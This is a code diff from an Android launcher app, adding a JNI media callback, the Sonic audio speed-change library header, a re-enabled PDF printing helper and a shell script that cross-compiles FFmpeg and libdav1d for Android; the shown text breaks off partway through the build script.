+Java_bums_lunatic_launcher_wall_NativeRenderer_nativeSetNextMediaCallback(JNIEnv* env, jobject, jobject callback) {
+    if (g_callback_obj) {
+        env->DeleteGlobalRef(g_callback_obj);
+    }
+    g_callback_obj = env->NewGlobalRef(callback);
+    jclass clazz = env->GetObjectClass(callback);
+    g_callback_method_id = env->GetMethodID(clazz, "onNextMediaRequested", "()V");
+
+    if (!g_callback_method_id) {
+        LOGE("Could not find onNextMediaRequested method ID.");
+    }
+}
+
+} // extern "C"

app/src/main/cpp/sonic.h

@@ -0,0 +1,307 @@
+//
+// Created by JIBUM HAN on 2026. 4. 11..
+//
+#ifndef SONIC_H_
+#define SONIC_H_
+
+/* Sonic library
+   Copyright 2010
+   Bill Cox
+   This file is part of the Sonic Library.
+
+   This file is licensed under the Apache 2.0 license.
+*/
+
+/*
+The Sonic Library implements a new algorithm invented by Bill Cox for the
+specific purpose of speeding up speech by high factors at high quality.  It
+generates smooth speech at speed up factors as high as 6X, possibly more.  It is
+also capable of slowing down speech, and generates high quality results
+regardless of the speed up or slow down factor.  For speeding up speech by 2X or
+more, the following equation is used:
+
+    newSamples = period/(speed - 1.0)
+    scale = 1.0/newSamples;
+
+where period is the current pitch period, determined using AMDF or any other
+pitch estimator, and speed is the speedup factor.  If the current position in
+the input stream is pointed to by "samples", and the current output stream
+position is pointed to by "out", then newSamples number of samples can be
+generated with:
+
+    out[t] = (samples[t]*(newSamples - t) + samples[t + period]*t)/newSamples;
+
+where t = 0 to newSamples - 1.
+
+For speed factors < 2X, the PICOLA algorithm is used.  The above
+algorithm is first used to double the speed of one pitch period.  Then, enough
+input is directly copied from the input to the output to achieve the desired
+speed up factor, where 1.0 < speed < 2.0.  The amount of data copied is derived:
+
+    speed = (2*period + length)/(period + length)
+    speed*length + speed*period = 2*period + length
+    length(speed - 1) = 2*period - speed*period
+    length = period*(2 - speed)/(speed - 1)
+
+For slowing down speech where 0.5 < speed < 1.0, a pitch period is inserted into
+the output twice, and length of input is copied from the input to the output
+until the output desired speed is reached.  The length of data copied is:
+
+    length = period*(speed - 0.5)/(1 - speed)
+
+For slow down factors below 0.5, no data is copied, and an algorithm
+similar to high speed factors is used.
+*/
+
+/* Uncomment this to use sin-wav based overlap add which in theory can improve
+   sound quality slightly, at the expense of lots of floating point math. */
+/* #define SONIC_USE_SIN */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifdef SONIC_INTERNAL
+/* The following #define's are used to change the names of the routines defined
+ * here so that a new library (i.e. speedy) can reuse these names, and then call
+ * the original names.  We do this for two reasons: 1) we don't want to change
+ * the original API, and 2) we want to add a shim, using the original names and
+ * still call these routines.
+ *
+ * Original users of this API and the libsonic library need to do nothing.  The
+ * original behavior remains.
+ *
+ * A new user that add some additional functionality above this library (a shim)
+ * should #define SONIC_INTERNAL before including this file, undefine all these
+ * symbols and call the sonicIntXXX functions directly.
+ */
+#define sonicCreateStream sonicIntCreateStream
+#define sonicDestroyStream sonicIntDestroyStream
+#define sonicWriteFloatToStream sonicIntWriteFloatToStream
+#define sonicWriteShortToStream sonicIntWriteShortToStream
+#define sonicWriteUnsignedCharToStream sonicIntWriteUnsignedCharToStream
+#define sonicReadFloatFromStream sonicIntReadFloatFromStream
+#define sonicReadShortFromStream sonicIntReadShortFromStream
+#define sonicReadUnsignedCharFromStream sonicIntReadUnsignedCharFromStream
+#define sonicFlushStream sonicIntFlushStream
+#define sonicSamplesAvailable sonicIntSamplesAvailable
+#define sonicGetSpeed sonicIntGetSpeed
+#define sonicSetSpeed sonicIntSetSpeed
+#define sonicGetPitch sonicIntGetPitch
+#define sonicSetPitch sonicIntSetPitch
+#define sonicGetRate sonicIntGetRate
+#define sonicSetRate sonicIntSetRate
+#define sonicGetVolume sonicIntGetVolume
+#define sonicSetVolume sonicIntSetVolume
+#define sonicGetQuality sonicIntGetQuality
+#define sonicSetQuality sonicIntSetQuality
+#define sonicGetSampleRate sonicIntGetSampleRate
+#define sonicSetSampleRate sonicIntSetSampleRate
+#define sonicGetNumChannels sonicIntGetNumChannels
+#define sonicGetUserData sonicIntGetUserData
+#define sonicSetUserData sonicIntSetUserData
+#define sonicSetNumChannels sonicIntSetNumChannels
+#define sonicChangeFloatSpeed sonicIntChangeFloatSpeed
+#define sonicChangeShortSpeed sonicIntChangeShortSpeed
+#define sonicEnableNonlinearSpeedup sonicIntEnableNonlinearSpeedup
+#define sonicSetDurationFeedbackStrength sonicIntSetDurationFeedbackStrength
+#define sonicComputeSpectrogram sonicIntComputeSpectrogram
+#define sonicGetSpectrogram sonicIntGetSpectrogram
+
+#endif /* SONIC_INTERNAL */
+
+/* This specifies the range of voice pitches we try to match.
+   Note that if we go lower than 65, we could overflow in findPitchInRange */
+#ifndef SONIC_MIN_PITCH
+#define SONIC_MIN_PITCH 65
+#endif  /* SONIC_MIN_PITCH */
+#ifndef SONIC_MAX_PITCH
+#define SONIC_MAX_PITCH 400
+#endif  /* SONIC_MAX_PITCH */
+
+/* The following values are used to clamp inputs such as speed to sane values.
+ */
+#define SONIC_MIN_VOLUME 0.01f
+#define SONIC_MAX_VOLUME 100.0f
+#define SONIC_MIN_SPEED 0.05f
+#define SONIC_MAX_SPEED 20.0f
+#define SONIC_MIN_PITCH_SETTING 0.05f
+#define SONIC_MAX_PITCH_SETTING 20.0f
+#define SONIC_MIN_RATE 0.05f
+#define SONIC_MAX_RATE 20.0f
+#define SONIC_MIN_SAMPLE_RATE 1000
+#define SONIC_MAX_SAMPLE_RATE 500000
+#define SONIC_MIN_CHANNELS 1
+#define SONIC_MAX_CHANNELS 32
+
+/* These are used to down-sample some inputs to improve speed */
+#define SONIC_AMDF_FREQ 4000
+
+struct sonicStreamStruct;
+typedef struct sonicStreamStruct* sonicStream;
+
+/* For all of the following functions, numChannels is multiplied by numSamples
+   to determine the actual number of values read or returned. */
+
+/* Create a sonic stream.  Return NULL only if we are out of memory and cannot
+  allocate the stream. Set numChannels to 1 for mono, and 2 for stereo. */
+sonicStream sonicCreateStream(int sampleRate, int numChannels);
+/* Destroy the sonic stream. */
+void sonicDestroyStream(sonicStream stream);
+/* Attach user data to the stream. */
+void sonicSetUserData(sonicStream stream, void *userData);
+/* Retrieve user data attached to the stream. */
+void *sonicGetUserData(sonicStream stream);
+/* Use this to write floating point data to be speed up or down into the stream.
+   Values must be between -1 and 1.  Return 0 if memory realloc failed,
+   otherwise 1 */
+int sonicWriteFloatToStream(sonicStream stream, const float* samples, int numSamples);
+/* Use this to write 16-bit data to be speed up or down into the stream.
+   Return 0 if memory realloc failed, otherwise 1 */
+int sonicWriteShortToStream(sonicStream stream, const short* samples, int numSamples);
+/* Use this to write 8-bit unsigned data to be speed up or down into the stream.
+   Return 0 if memory realloc failed, otherwise 1 */
+int sonicWriteUnsignedCharToStream(sonicStream stream, const unsigned char* samples,
+                                   int numSamples);
+/* Use this to read floating point data out of the stream.  Sometimes no data
+   will be available, and zero is returned, which is not an error condition. */
+int sonicReadFloatFromStream(sonicStream stream, float* samples,
+                             int maxSamples);
+/* Use this to read 16-bit data out of the stream.  Sometimes no data will
+   be available, and zero is returned, which is not an error condition. */
+int sonicReadShortFromStream(sonicStream stream, short* samples,
+                             int maxSamples);
+/* Use this to read 8-bit unsigned data out of the stream.  Sometimes no data
+   will be available, and zero is returned, which is not an error condition. */
+int sonicReadUnsignedCharFromStream(sonicStream stream, unsigned char* samples,
+                                    int maxSamples);
+/* Force the sonic stream to generate output using whatever data it currently
+   has.  No extra delay will be added to the output, but flushing in the middle
+   of words could introduce distortion. */
+int sonicFlushStream(sonicStream stream);
+/* Return the number of samples in the output buffer */
+int sonicSamplesAvailable(sonicStream stream);
+/* Get the speed of the stream. */
+float sonicGetSpeed(sonicStream stream);
+/* Set the speed of the stream. */
+void sonicSetSpeed(sonicStream stream, float speed);
+/* Get the pitch of the stream. */
+float sonicGetPitch(sonicStream stream);
+/* Set the pitch of the stream. */
+void sonicSetPitch(sonicStream stream, float pitch);
+/* Get the rate of the stream. */
+float sonicGetRate(sonicStream stream);
+/* Set the rate of the stream. */
+void sonicSetRate(sonicStream stream, float rate);
+/* Get the scaling factor of the stream. */
+float sonicGetVolume(sonicStream stream);
+/* Set the scaling factor of the stream. */
+void sonicSetVolume(sonicStream stream, float volume);
+/* Chord pitch is DEPRECATED.  AFAIK, it was never used by anyone.  These
+   functions still exist to avoid breaking existing code. */
+/* Get the chord pitch setting. */
+int sonicGetChordPitch(sonicStream stream);
+/* Set chord pitch mode on or off.  Default is off.  See the documentation
+   page for a description of this feature. */
+void sonicSetChordPitch(sonicStream stream, int useChordPitch);
+/* Get the quality setting. */
+int sonicGetQuality(sonicStream stream);
+/* Set the "quality".  Default 0 is virtually as good as 1, but very much
+ * faster. */
+void sonicSetQuality(sonicStream stream, int quality);
+/* Get the sample rate of the stream. */
+int sonicGetSampleRate(sonicStream stream);
+/* Set the sample rate of the stream.  This will drop any samples that have not
+ * been read. */
+void sonicSetSampleRate(sonicStream stream, int sampleRate);
+/* Get the number of channels. */
+int sonicGetNumChannels(sonicStream stream);
+/* Set the number of channels.  This will drop any samples that have not been
+ * read. */
+void sonicSetNumChannels(sonicStream stream, int numChannels);
+/* This is a non-stream oriented interface to just change the speed of a sound
+   sample.  It works in-place on the sample array, so there must be at least
+   speed*numSamples available space in the array. Returns the new number of
+   samples. */
+int sonicChangeFloatSpeed(float* samples, int numSamples, float speed,
+                          float pitch, float rate, float volume,
+                          int useChordPitch, int sampleRate, int numChannels);
+/* This is a non-stream oriented interface to just change the speed of a sound
+   sample.  It works in-place on the sample array, so there must be at least
+   speed*numSamples available space in the array. Returns the new number of
+   samples. */
+int sonicChangeShortSpeed(short* samples, int numSamples, float speed,
+                          float pitch, float rate, float volume,
+                          int useChordPitch, int sampleRate, int numChannels);
+
+#ifdef SONIC_SPECTROGRAM
+/*
+This code generates high quality spectrograms from sound samples, using
+Time-Aliased-FFTs as described at:
+
+    https://github.com/waywardgeek/spectrogram
+
+Basically, two adjacent pitch periods are overlap-added to create a sound
+sample that accurately represents the speech sound at that moment in time.
+This set of samples is converted to a spetral line using an FFT, and the result
+is saved as a single spectral line at that moment in time.  The resulting
+spectral lines vary in resolution (it is equal to the number of samples in the
+pitch period), and the spacing of spectral lines also varies (proportional to
+the numver of samples in the pitch period).
+
+To generate a bitmap, linear interpolation is used to render the grayscale
+value at any particular point in time and frequency.
+*/
+
+#define SONIC_MAX_SPECTRUM_FREQ 5000
+
+struct sonicSpectrogramStruct;
+struct sonicBitmapStruct;
+typedef struct sonicSpectrogramStruct* sonicSpectrogram;
+typedef struct sonicBitmapStruct* sonicBitmap;
+
+/* sonicBitmap objects represent spectrograms as grayscale bitmaps where each
+   pixel is from 0 (black) to 255 (white).  Bitmaps are rows*cols in size.
+   Rows are indexed top to bottom and columns are indexed left to right */
+struct sonicBitmapStruct {
+  unsigned char* data;
+  int numRows;
+  int numCols;
+};
+
+/* Enable coomputation of a spectrogram on the fly. */
+void sonicComputeSpectrogram(sonicStream stream);
+
+/* Get the spectrogram. */
+sonicSpectrogram sonicGetSpectrogram(sonicStream stream);
+
+/* Create an empty spectrogram. Called automatically if sonicComputeSpectrogram
+   has been called. */
+sonicSpectrogram sonicCreateSpectrogram(int sampleRate);
+
+/* Destroy the spectrotram.  This is called automatically when calling
+   sonicDestroyStream. */
+void sonicDestroySpectrogram(sonicSpectrogram spectrogram);
+
+/* Convert the spectrogram to a bitmap. Caller must destroy bitmap when done. */
+sonicBitmap sonicConvertSpectrogramToBitmap(sonicSpectrogram spectrogram,
+                                            int numRows, int numCols);
+
+/* Destroy a bitmap returned by sonicConvertSpectrogramToBitmap. */
+void sonicDestroyBitmap(sonicBitmap bitmap);
+
+int sonicWritePGM(sonicBitmap bitmap, char* fileName);
+
+/* Add two pitch periods worth of samples to the spectrogram.  There must be
+   2*period samples.  Time should advance one pitch period for each call to
+   this function. */
+void sonicAddPitchPeriodToSpectrogram(sonicSpectrogram spectrogram,
+                                      short* samples, int numSamples,
+                                      int numChannels);
+#endif  /* SONIC_SPECTROGRAM */
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif  /* SONIC_H_ */

app/src/main/java/android/print/PDFPrint.java

@@ -1,168 +1,168 @@
-//package android.print;
-//
-//import android.app.Activity;
-//import android.content.Context;
-//import android.os.Bundle;
-//import android.os.CancellationSignal;
-//import android.os.ParcelFileDescriptor;
-//import android.webkit.WebView;
-//import android.webkit.WebViewClient;
-//
-//import java.io.File;
-//import java.io.FileInputStream;
-//import java.io.FileOutputStream;
-//import java.io.IOException;
-//import java.io.InputStream;
-//import java.io.OutputStream;
-//
-//public class PDFPrint {
-//
-//    public static void generatePDFFromHTML(final Context context, final File file, final String htmlString, final OnPDFPrintListener onPDFPrintListener) {
-//        final WebView mWebView = new WebView(context);
-//        mWebView.setWebViewClient(new WebViewClient() {
-//            @Override
-//            public void onPageFinished(WebView view, String url) {
-//                PrintAttributes printAttributes = new PrintAttributes.Builder()
-//                        .setMediaSize(PrintAttributes.MediaSize.ISO_A4)
-//                        .setResolution(new PrintAttributes.Resolution("RESOLUTION_ID", "RESOLUTION_ID", 600, 600))
-//                        .setMinMargins(PrintAttributes.Margins.NO_MARGINS)
-//                        .build();
-//
-//                final PrintDocumentAdapter documentAdapter = mWebView.createPrintDocumentAdapter(file.getName());
-//                documentAdapter.onLayout(null, printAttributes, null, new PrintDocumentAdapter.LayoutResultCallback() {
-//                    @Override
-//                    public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
-//                        documentAdapter.onWrite(new PageRange[]{PageRange.ALL_PAGES}, getOutputFile(file), null, new PrintDocumentAdapter.WriteResultCallback() {
-//
-//                            @Override
-//                            public void onWriteCancelled() {
-//                                super.onWriteCancelled();
-//                                onPDFPrintListener.onError(new Exception("PDF Write cancelled."));
-//                            }
-//
-//                            @Override
-//                            public void onWriteFailed(CharSequence error) {
-//                                super.onWriteFailed(error);
-//                                onPDFPrintListener.onError(new Exception(error.toString()));
-//                            }
-//
-//                            @Override
-//                            public void onWriteFinished(PageRange[] pages) {
-//                                super.onWriteFinished(pages);
-//                                onPDFPrintListener.onSuccess(file);
-//                            }
-//                        });
-//                    }
-//                }, null);
-//            }
-//        });
-//        mWebView.loadData(htmlString.replaceAll("#", "%23"), "text/HTML", "UTF-8");
-//    }
-//
-//    public static void generatePDFFromWebView(final File file, final WebView webView, final OnPDFPrintListener onPDFPrintListener) {
-//        PrintAttributes printAttributes = new PrintAttributes.Builder()
-//                .setMediaSize(PrintAttributes.MediaSize.ISO_A4)
-//                .setResolution(new PrintAttributes.Resolution("RESOLUTION_ID", "RESOLUTION_ID", 600, 600))
-//                .setMinMargins(PrintAttributes.Margins.NO_MARGINS)
-//                .build();
-//
-//        final PrintDocumentAdapter documentAdapter = webView.createPrintDocumentAdapter(file.getName());
-//        documentAdapter.onLayout(null, printAttributes, null, new PrintDocumentAdapter.LayoutResultCallback() {
-//            @Override
-//            public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
-//                documentAdapter.onWrite(new PageRange[]{PageRange.ALL_PAGES}, getOutputFile(file), null, new PrintDocumentAdapter.WriteResultCallback() {
-//
-//                    @Override
-//                    public void onWriteCancelled() {
-//                        super.onWriteCancelled();
-//                        onPDFPrintListener.onError(new Exception("PDF Write cancelled."));
-//                    }
-//
-//                    @Override
-//                    public void onWriteFailed(CharSequence error) {
-//                        super.onWriteFailed(error);
-//                        try {
-//                            if (error != null && error.toString().length() > 0) {
-//                                onPDFPrintListener.onError(new Exception(error.toString()));
-//                            } else {
-//                                onPDFPrintListener.onError(new Exception("Empty Page"));
-//                            }
-//                        }catch (Exception e) {e.printStackTrace();}
-//                    }
-//
-//                    @Override
-//                    public void onWriteFinished(PageRange[] pages) {
-//                        super.onWriteFinished(pages);
-//                        onPDFPrintListener.onSuccess(file);
-//                    }
-//                });
-//            }
-//        }, null);
-//    }
-//
-//    private static ParcelFileDescriptor getOutputFile(File file) {
-//        try {
-//            if (!file.exists()) {
-//                file.createNewFile();
-//            }
-//            return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-//        } catch (Exception e) {
-//            e.printStackTrace();
-//        }
-//        return null;
-//    }
-//
-//    public static PrintJob printPDF(final Activity activity, final File pdfFileToPrint, final PrintAttributes printAttributes) {
-//        PrintManager printManager = (PrintManager) activity.getSystemService(Context.PRINT_SERVICE);
-//        String jobName = Long.valueOf(System.currentTimeMillis()).toString();
-//        return printManager.print(jobName, new PrintDocumentAdapter() {
-//            @Override
-//            public void onWrite(PageRange[] pages, ParcelFileDescriptor destination, CancellationSignal cancellationSignal, WriteResultCallback callback) {
-//                InputStream input = null;
-//                OutputStream output = null;
-//
-//                try {
-//
-//                    input = new FileInputStream(pdfFileToPrint);
-//                    output = new FileOutputStream(destination.getFileDescriptor());
-//
-//                    byte[] buf = new byte[1024];
-//                    int bytesRead;
-//
-//                    while ((bytesRead = input.read(buf)) > 0) {
-//                        output.write(buf, 0, bytesRead);
-//                    }
-//
-//                    callback.onWriteFinished(new PageRange[]{PageRange.ALL_PAGES});
-//
-//                } catch (Exception e) {
-//                    e.printStackTrace();
-//                } finally {
-//                    try {
-//                        input.close();
-//                        output.close();
-//                    } catch (IOException e) {
-//                        e.printStackTrace();
-//                    }
-//                }
-//            }
-//
-//            @Override
-//            public void onLayout(PrintAttributes oldAttributes, PrintAttributes newAttributes, CancellationSignal cancellationSignal, LayoutResultCallback callback, Bundle extras) {
-//                if (cancellationSignal.isCanceled()) {
-//                    callback.onLayoutCancelled();
-//                    return;
-//                }
-//
-//                PrintDocumentInfo pdi = new PrintDocumentInfo.Builder(pdfFileToPrint.getName()).setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).build();
-//                callback.onLayoutFinished(pdi, true);
-//            }
-//        }, printAttributes);
-//    }
-//
-//    public interface OnPDFPrintListener {
-//        void onSuccess(File file);
-//
-//        void onError(Exception exception);
-//    }
-//}
+package android.print;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.ParcelFileDescriptor;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+public class PDFPrint {
+
+    public static void generatePDFFromHTML(final Context context, final File file, final String htmlString, final OnPDFPrintListener onPDFPrintListener) {
+        final WebView mWebView = new WebView(context);
+        mWebView.setWebViewClient(new WebViewClient() {
+            @Override
+            public void onPageFinished(WebView view, String url) {
+                PrintAttributes printAttributes = new PrintAttributes.Builder()
+                        .setMediaSize(PrintAttributes.MediaSize.ISO_A4)
+                        .setResolution(new PrintAttributes.Resolution("RESOLUTION_ID", "RESOLUTION_ID", 600, 600))
+                        .setMinMargins(PrintAttributes.Margins.NO_MARGINS)
+                        .build();
+
+                final PrintDocumentAdapter documentAdapter = mWebView.createPrintDocumentAdapter(file.getName());
+                documentAdapter.onLayout(null, printAttributes, null, new PrintDocumentAdapter.LayoutResultCallback() {
+                    @Override
+                    public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
+                        documentAdapter.onWrite(new PageRange[]{PageRange.ALL_PAGES}, getOutputFile(file), null, new PrintDocumentAdapter.WriteResultCallback() {
+
+                            @Override
+                            public void onWriteCancelled() {
+                                super.onWriteCancelled();
+                                onPDFPrintListener.onError(new Exception("PDF Write cancelled."));
+                            }
+
+                            @Override
+                            public void onWriteFailed(CharSequence error) {
+                                super.onWriteFailed(error);
+                                onPDFPrintListener.onError(new Exception(error.toString()));
+                            }
+
+                            @Override
+                            public void onWriteFinished(PageRange[] pages) {
+                                super.onWriteFinished(pages);
+                                onPDFPrintListener.onSuccess(file);
+                            }
+                        });
+                    }
+                }, null);
+            }
+        });
+        mWebView.loadData(htmlString.replaceAll("#", "%23"), "text/HTML", "UTF-8");
+    }
+
+    public static void generatePDFFromWebView(final File file, final WebView webView, final OnPDFPrintListener onPDFPrintListener) {
+        PrintAttributes printAttributes = new PrintAttributes.Builder()
+                .setMediaSize(PrintAttributes.MediaSize.ISO_A4)
+                .setResolution(new PrintAttributes.Resolution("RESOLUTION_ID", "RESOLUTION_ID", 600, 600))
+                .setMinMargins(PrintAttributes.Margins.NO_MARGINS)
+                .build();
+
+        final PrintDocumentAdapter documentAdapter = webView.createPrintDocumentAdapter(file.getName());
+        documentAdapter.onLayout(null, printAttributes, null, new PrintDocumentAdapter.LayoutResultCallback() {
+            @Override
+            public void onLayoutFinished(PrintDocumentInfo info, boolean changed) {
+                documentAdapter.onWrite(new PageRange[]{PageRange.ALL_PAGES}, getOutputFile(file), null, new PrintDocumentAdapter.WriteResultCallback() {
+
+                    @Override
+                    public void onWriteCancelled() {
+                        super.onWriteCancelled();
+                        onPDFPrintListener.onError(new Exception("PDF Write cancelled."));
+                    }
+
+                    @Override
+                    public void onWriteFailed(CharSequence error) {
+                        super.onWriteFailed(error);
+                        try {
+                            if (error != null && error.toString().length() > 0) {
+                                onPDFPrintListener.onError(new Exception(error.toString()));
+                            } else {
+                                onPDFPrintListener.onError(new Exception("Empty Page"));
+                            }
+                        }catch (Exception e) {e.printStackTrace();}
+                    }
+
+                    @Override
+                    public void onWriteFinished(PageRange[] pages) {
+                        super.onWriteFinished(pages);
+                        onPDFPrintListener.onSuccess(file);
+                    }
+                });
+            }
+        }, null);
+    }
+
+    private static ParcelFileDescriptor getOutputFile(File file) {
+        try {
+            if (!file.exists()) {
+                file.createNewFile();
+            }
+            return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+
+    public static PrintJob printPDF(final Activity activity, final File pdfFileToPrint, final PrintAttributes printAttributes) {
+        PrintManager printManager = (PrintManager) activity.getSystemService(Context.PRINT_SERVICE);
+        String jobName = Long.valueOf(System.currentTimeMillis()).toString();
+        return printManager.print(jobName, new PrintDocumentAdapter() {
+            @Override
+            public void onWrite(PageRange[] pages, ParcelFileDescriptor destination, CancellationSignal cancellationSignal, WriteResultCallback callback) {
+                InputStream input = null;
+                OutputStream output = null;
+
+                try {
+
+                    input = new FileInputStream(pdfFileToPrint);
+                    output = new FileOutputStream(destination.getFileDescriptor());
+
+                    byte[] buf = new byte[1024];
+                    int bytesRead;
+
+                    while ((bytesRead = input.read(buf)) > 0) {
+                        output.write(buf, 0, bytesRead);
+                    }
+
+                    callback.onWriteFinished(new PageRange[]{PageRange.ALL_PAGES});
+
+                } catch (Exception e) {
+                    e.printStackTrace();
+                } finally {
+                    try {
+                        input.close();
+                        output.close();
+                    } catch (IOException e) {
+                        e.printStackTrace();
+                    }
+                }
+            }
+
+            @Override
+            public void onLayout(PrintAttributes oldAttributes, PrintAttributes newAttributes, CancellationSignal cancellationSignal, LayoutResultCallback callback, Bundle extras) {
+                if (cancellationSignal.isCanceled()) {
+                    callback.onLayoutCancelled();
+                    return;
+                }
+
+                PrintDocumentInfo pdi = new PrintDocumentInfo.Builder(pdfFileToPrint.getName()).setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).build();
+                callback.onLayoutFinished(pdi, true);
+            }
+        }, printAttributes);
+    }
+
+    public interface OnPDFPrintListener {
+        void onSuccess(File file);
+
+        void onError(Exception exception);
+    }
+}

app/src/main/jniLibs/android.sh

@@ -0,0 +1,250 @@
+#!/bin/bash
+
+### Describe Your Target Android Api or Architectures ###
+ANDROID_API_LEVEL="25"
+ARCH_LIST=("armv8a" "armv7a" "x86" "x86-64")
+
+
+### Supported Architectures "armv8a" "armv7a" "x86" "x86-64"  ####### 
+
+### Enable FFMPEG BUILD MODULES ####
+ENABLED_CONFIG="\
+		--enable-avcodec \
+		--enable-avformat \
+		--enable-avutil \
+  		--enable-swscale \
+		--enable-libdav1d \
+    	--enable-demuxer=* \
+		--enable-decoder=h264,hevc,vp8,vp9,libdav1d,flv,vp6f,adpcm_swf,mpeg4,wmv3,mpeg2video,mpeg2audio,msmpeg4v2,msmpeg4v3,theora,amrnb,amrwb,dvvideo,h263,mjpeg,png,jpeg,bmp,webp,mp3,aac,ac3,eac3,flac,opus,vorbis,pcm_s16le,pcm_s24le,alac,wma,ass,ssa,mov_text,subrip,webvtt,dvbsub,dvdsub \
+		--enable-parser=* \
+  		--enable-bsf=* \
+		--enable-shared "
+
+
+### Disable FFMPEG BUILD MODULES ####
+DISABLED_CONFIG="\
+		--disable-small \
+		--disable-zlib \
+    	--disable-swresample \
+ 		--disable-avfilter \
+		--disable-v4l2-m2m \
+		--disable-cuda-llvm \
+		--disable-indevs \
+		--disable-libxml2 \
+		--disable-avdevice \
+		--disable-network \
+		--disable-static \
+		--disable-debug \
+		--disable-ffplay \
+  		--disable-ffprobe \
+		--disable-doc \
+		--disable-symver \
+		--disable-gpl "
+
+
+
+
+
+
+
+
+
+############ Dont Change ################
+############ Dont Change ################
+############ Dont Change ################
+############ Dont Change ################
+############ Dont Change ################
+
+SYSROOT="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/sysroot"
+LLVM_AR="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-ar"
+LLVM_NM="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-nm"
+LLVM_RANLIB="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-ranlib"
+LLVM_STRIP="$ANDROID_NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-strip"
+export ASFLAGS="-fPIC"
+
+
+buildLibdav1d(){
+	TARGET_ARCH=$1
+    TARGET_CPU=$2
+    PREFIX=$3
+    CROSS_PREFIX=$4
+    EXTRA_CFLAGS=$5
+    EXTRA_CXXFLAGS=$6
+    EXTRA_CONFIG=$7
+	CLANG="${CROSS_PREFIX}clang"
+    CLANGXX="${CROSS_PREFIX}clang++"
+
+	if [ "$TARGET_ARCH" = "i686" ]; then
+	    TARGET_ARCH="x86"
+	fi
+ 
+	if [ ! -d "dav1d" ]; then
+	    echo "Cloning libdav1d..."
+	    git clone https://code.videolan.org/videolan/dav1d.git
+	else
+	    echo "Updating libdav1d..."
+	    cd dav1d
+	    git pull
+	    cd ..
+	fi
+	
+	cd dav1d
+	# --- Create cross file ---
+ 	CROSS_FILE="android-$TARGET_ARCH-$ANDROID_API_LEVEL-cross.messon"
+	cat > "$CROSS_FILE" <<EOF
+[binaries]
+c = '$CLANG'
+cpp = '$CLANGXX'
+ar = '$LLVM_AR'
+strip = '$LLVM_STRIP'
+pkg-config = 'pkg-config'
+
+[properties]
+needs_exe_wrapper = true
+
+[built-in options]
+c_args = ['-fpic']
+cpp_args = ['-fpic']
+c_link_args = ['-Wl,-z,max-page-size=16384']
+
+[host_machine]
+system = 'android'
+cpu_family = '$TARGET_ARCH'
+cpu = '$TARGET_CPU'
+endian = 'little'
+EOF
+	
+	echo "Meson cross file created: $CROSS_FILE"
+ 	rm -rf build
+	meson setup build \
+ 	  --default-library=static \
+	  --prefix=$PREFIX \
+	  --buildtype release \
+	  --cross-file=$CROSS_FILE
+	
+	ninja -C build
+	ninja -C build install
+}
+
+
+
+configure_ffmpeg(){
+   TARGET_ARCH=$1
+   TARGET_CPU=$2
+   PREFIX=$3
+   CROSS_PREFIX=$4
+   EXTRA_CFLAGS=$5
+   EXTRA_CXXFLAGS=$6
+   EXTRA_CONFIG=$7
+   
+   export PKG_CONFIG_PATH="$PREFIX/lib/pkgconfig"
+   CLANG="${CROSS_PREFIX}clang"
+   CLANGXX="${CROSS_PREFIX}clang++"
+   
+   cd "$FFMPEG_SOURCE_DIR"
+   ./configure \
+   --disable-everything \
+   --target-os=android \
+   --arch=$TARGET_ARCH \
+   --cpu=$TARGET_CPU \
+   --pkg-config=pkg-config \
+   --enable-cross-compile \
+   --cross-prefix="$CROSS_PREFIX" \
+   --cc="$CLANG" \
+   --cxx="$CLANGXX" \
+   --sysroot="$SYSROOT" \
+   --prefix="$PREFIX" \
+   --extra-cflags="-fpic -DANDROID -fdata-sections -ffunction-sections -funwind-tables -fstack-protector-strong -no-canonical-prefixes -D__BIONIC_NO_PAGE_SIZE_MACRO -D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security $EXTRA_CFLAGS -I$PREFIX/include " \
+   --extra-cxxflags="-fpic -DANDROID -fdata-sections -ffunction-sections -funwind-tables -fstack-protector-strong -no-canonical-prefixes -D__BIONIC_NO_PAGE_SIZE_MACRO -D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security -std=c++17 -fexceptions -frtti $EXTRA_CXXFLAGS -I$PREFIX/include " \
+   --extra-ldflags=" -Wl,-z,max-page-size=16384 -Wl,--build-id=sha1 -Wl,--no-rosegment -Wl,--no-undefined-version -Wl,--fatal-warnings -Wl,--no-undefined -Qunused-arguments -L$SYSROOT/usr/lib/$TARGET_ARCH-linux-android/$ANDROID_API_LEVEL -L$PREFIX/lib" \
+   --enable-pic \
+   ${ENABLED_CONFIG} \
+   ${DISABLED_CONFIG} \
+   --ar="$LLVM_AR" \
+   --nm="$LLVM_NM" \
+   --ranlib="$LLVM_RANLIB" \
+   --strip="$LLVM_STRIP" \
+   ${EXTRA_CONFIG}
+
+   make clean
+   make -j2
+   make install -j2
+   
+}
+
+echo -e "\e[1;32mCompiling FFMPEG for Android...\e[0m"
+
+for ARCH in "${ARCH_LIST[@]}"; do
+    case "$ARCH" in
+        "armv8-a"|"aarch64"|"arm64-v8a"|"armv8a")
+            echo -e "\e[1;32m$ARCH Libraries\e[0m"
+            TARGET_ARCH="aarch64"
+            TARGET_CPU="armv8-a"
+            TARGET_ABI="aarch64"
